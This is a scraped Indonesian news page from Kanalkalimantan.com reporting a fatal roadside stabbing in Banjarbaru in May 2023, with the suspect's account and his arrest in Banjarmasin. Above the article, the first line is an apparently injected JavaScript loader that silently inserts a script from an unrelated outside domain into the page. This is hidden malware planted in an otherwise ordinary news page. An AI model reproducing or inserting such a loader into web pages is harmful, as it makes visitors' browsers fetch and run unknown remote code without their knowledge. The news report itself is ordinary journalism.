(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gegara ditegur berkendara melawan arah arus jalan, seorang pemuda melakukan penusukan berujung maut.
Penusukan dengan menggunakan senjata tajam (Sajam, red) melibatkan dua lelaki terjadi pada Kamis (25/5/2023) dini hari, di Jalan Trikora, dekat kafe Karindangan, Kelurahan Guntung Paikat, Kota Banjarbaru, yang membuat AN terkapar tak bernyawa.
“Benar terjadi perkelahian, dini hari tadi di Trikora,” jelas Kapolres Banjarbaru AKBP Dody Harza Kusumah melalui Kasi Humas Polres Banjarbaru AKP Syahruji.
Peristiwa maut itu terjadi sekitar pukul 01.00 Wita dan membuat warga sekitar geger.
Warga langsung menghubungi pihak kepolisian dan melaporkan kejadian ini. Setelah mendapat laporan, anggota piket dan Reskrim langsung olah lokasi perkara.
Baca juga: Ini Dua SMA Terbaik di Banjarbaru, Masuk Daftar Top 1.000 Versi LTMPT 2022
Belakangan polisi membekuk terduga pelaku MH (29), Kamis (25/5/2023) pagi, di Banjarmasin, selang 4 jam setelah kejadian.
“Saat ini pelaku sudah diamankan, kita akan melakukan pemeriksaan untuk mengungkap motifnya,” jelas AKP Syahruji.
Dari penjelasan awal pihak kepolisian, kejadian bermula ketika terduga pelaku MH melawan arah arus jalan. AN berteriak kepada MH karena melawan arah arus jalan.
“Terjadilah perkelahian tersebut, yang menewaskan AN di tempat,” katanya.
Setelah melakukan penusuka, MH langsung meluncur pulang ke Banjarmasin.
MH (29) diringkus Satreskrim Polres Banjarbaru di Banjarmasin di tempat parkir rumah sakit Mahkota Bunda.
Berdasarkan pengakuan MH saat diperika polisi, kronologi berawal dari MH yang melintas di Jalan Trikora dalam keadaan mabuk dan melawan arus menggunakan mobil Daihatsu Sigra warna hitam nopol DA 1744 BR.
Baca juga: Berkas Perkara Empat Kali Bolak-balik, Kasus TPPU PT KCE Mandek
“Saya saat itu melawan arus, tapi tidak ngebut. Ketika saya lewat, saya diteriaki banyak orang,” ucap MH kala diperiksa polisi.
Saat lewat, MH diteriaki oleh korban AN yang sedang nongkrong di pinggir jalan. Kemudian, MH memundurkan mobilnya menghampiri AN dan bertanya kenapa. Tiba-tiba, kaca depan mobil MH langsung dipukul menggunakan helm hingga retak.
Tidak terima kaca mobilnya retak, MH mengambil pisau yang berada di mobil, kemudian menusuk AN di bagian dada dengan dua tusukan.
“Saya ambil pisau yang ada di laci mobil terus keluar dan menusuknya,” jelas MH.
Belakangan setelah menusuk AN, MH langsung membawa mobilnya ke Banjarmasin dan beristirahat di parkiran RSIA (Rumah Sakit Ibu dan Anak) Mahkota Bunda, Kampung Gedang, Banjarmasin.
Saat ditangkap, MH mengaku terkejut dan kebingungan. “Soalnya baru sadar, malam tadi itu mabuk. Saya juga tidak ada niat melarikan diri,” akunya.
MH mengaku bahwa dirinya tidak tahu AN yang ditusuk berakhir hidupnya. Diakui MH, ia hanya sempat melihat AN terjatuh sebelum menjalankan mobilnya. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Calon Wali Kota Banjarbaru Erna Lisa Halaby menggunakan hak pilihnya di Tempat… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan didampingi istri Gusti… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Calon Gubernur Kalimantan Selatan (Kalsel) nomor urut 1 H Muhidin menggunakan hak… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru merampungkan pengadaan logistik untuk Pemilhan Kepala… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lima orang aktivis penyeru hak demokrasi mendatangi kantor Komisi Pemilihan Umum (KPU)… Read More
Dahtiar: Yang Dihitung Suara Sah Saja Nanti, Karena Bukan Mekanisme Kotak Kosong Read More
This website uses cookies.